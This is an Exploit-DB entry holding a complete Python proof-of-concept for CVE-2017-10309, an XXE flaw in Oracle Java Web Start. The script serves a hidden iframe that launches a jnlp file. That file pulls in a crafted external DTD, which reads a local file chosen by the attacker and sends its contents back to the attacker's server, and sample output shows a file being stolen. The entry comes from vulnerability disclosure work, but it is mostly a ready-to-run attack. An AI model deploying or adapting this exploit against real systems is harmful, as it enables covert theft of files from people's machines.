Oracle Java SE - Web Start jnlp XML External Entity Processing Information Disclosure

EDB-ID:

43103

CVE:

2017-10309

EDB Verified:
Author:

mr_me

Type:

webapps

Exploit: /
Platform:

XML

Date:

2017-10-30

Vulnerable App:
#!/usr/local/bin/python
"""
Oracle Java SE Web Start jnlp XML External Entity Processing Information Disclosure Vulnerability
Affected:   <= v8u131
File:       jre-8u131-windows-i586-iftw.exe
SHA1:       85f0de19845deef89cc5a29edebe5bb33023062d
Download:   http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html
References: SRC-2017-0028 / CVE-2017-10309
Advisory:   http://srcincite.io/advisories/src-2017-0028/

Vulnerability Details:
======================

Java SE installs a protocol handler in the registry as "HKEY_CLASSES_ROOT\jnlp\Shell\Open\Command\Default" 'C:\Program Files\Java\jre1.8.0_131\bin\jp2launcher.exe" -securejws "%1"'. 
This can allow allow an attacker to launch remote jnlp files with little user interaction. A malicious jnlp file containing a crafted XML XXE attack to be leveraged to disclose files, cause a denial of service or trigger SSRF.

Notes:
======

- It will take a few seconds to fire.
- Some browsers will give a small, innocent looking popup (not a security alert), but IE/Edge doesn't at all.

Example:
========

saturn:~ mr_me$ ./poc.py 

    Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability
    mr_me 2017

(+) usage: ./poc.py <file>
(+) eg: ./poc.py 'C:/Program Files/Java/jre1.8.0_131/README.txt'

saturn:~ mr_me$ ./poc.py 'C:/Program Files/Java/jre1.8.0_131/README.txt'

    Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability
    mr_me 2017

(+) select your interface: lo0, gif0, stf0, en0, en1, en2, bridge0, p2p0, awdl0, vmnet1, vmnet8, tap0: vmnet8
(+) starting xxe server...
(+) have someone with Java SE installed visit: http://172.16.175.1:9090/
(!) firing webstart...
(!) downloading jnlp...
(!) downloading si.xml...
(+) stolen: Please%20refer%20to%20http://java.com/licensereadme
^C(+) shutting down the web server
saturn:~ mr_me$
"""

import sys
import socket
import fcntl
import struct
from random import choice
from string import lowercase
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

try:
    import netifaces as ni
except:
    print "(-) try 'pip install netifaces'"
    sys.exit(1)

class xxe(BaseHTTPRequestHandler):

    # stfu
    def log_message(self, format, *args):
        return

    def do_GET(self):

        if "leaked" in self.path:
            print "(+) stolen: %s" % self.path.split("?")[1]
            self.send_response(200)
            self.end_headers()

        elif self.path == "/":
            print "(!) firing webstart..."
            self.send_response(200)
            self.end_headers()
            message = """
            <html>
            <body>
            <iframe src="jnlp://%s:9090/%s" style="width:0;height:0;border:0; border:none;"></iframe>
            </body>
            </html>
            """ % (ip, path)
            self.wfile.write(message)
            self.wfile.write('\n')

        elif "si.xml" in self.path:
            print "(!) downloading si.xml..."
            self.send_response(200)
            self.end_headers()
            message = """
            <!ENTITY %% data SYSTEM "file:///%s">
            <!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">
            """ % (file, ip)
            self.wfile.write(message)
            self.wfile.write('\n')

        elif path in self.path:
            print "(!) downloading jnlp..."
            self.send_response(200)
            self.end_headers()
            message = """
            <?xml version="1.0" ?>
            <!DOCTYPE r [
            <!ELEMENT r ANY >
            <!ENTITY %% sp SYSTEM "http://%s:9090/si.xml">
            %%sp;
            %%param1;
            %%exfil;
            ]>
            """ % ip
            self.wfile.write(message)
            self.wfile.write('\n')
        return

def banner():
    return """\n\tOracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability\n\tmr_me 2017\n"""

if __name__ == '__main__':

    print banner()

    if len(sys.argv) != 2:
        print "(+) usage: %s <file>" % sys.argv[0]
        print "(+) eg: %s 'C:/Program Files/Java/jre1.8.0_131/README.txt'" % sys.argv[0]
        sys.exit(1)

    file = sys.argv[1]

    # randomize incase we change payloads and browser caches
    path  = "".join(choice(lowercase) for i in range(10))
    path += ".jnlp"

    # interfaces
    ints = ""
    for i in ni.interfaces(): ints += "%s, " % i
    interface = raw_input("(+) select your interface: %s: " % ints[:-2])

    # get the ip from the interface
    try:
        ip = ni.ifaddresses(interface)[2][0]['addr']
    except:
        print "(-) no ip address associated with that interface!"
        sys.exit(1)
    print "jnlp://%s:9090/%s" % (ip, path)
    try:
        server = HTTPServer(('0.0.0.0', 9090), xxe)
        print '(+) starting xxe server...'
        print '(+) have someone with Java SE installed visit: http://%s:9090/' % ip
        server.serve_forever()

    except KeyboardInterrupt:
        print '(+) shutting down the web server'
        server.socket.close()
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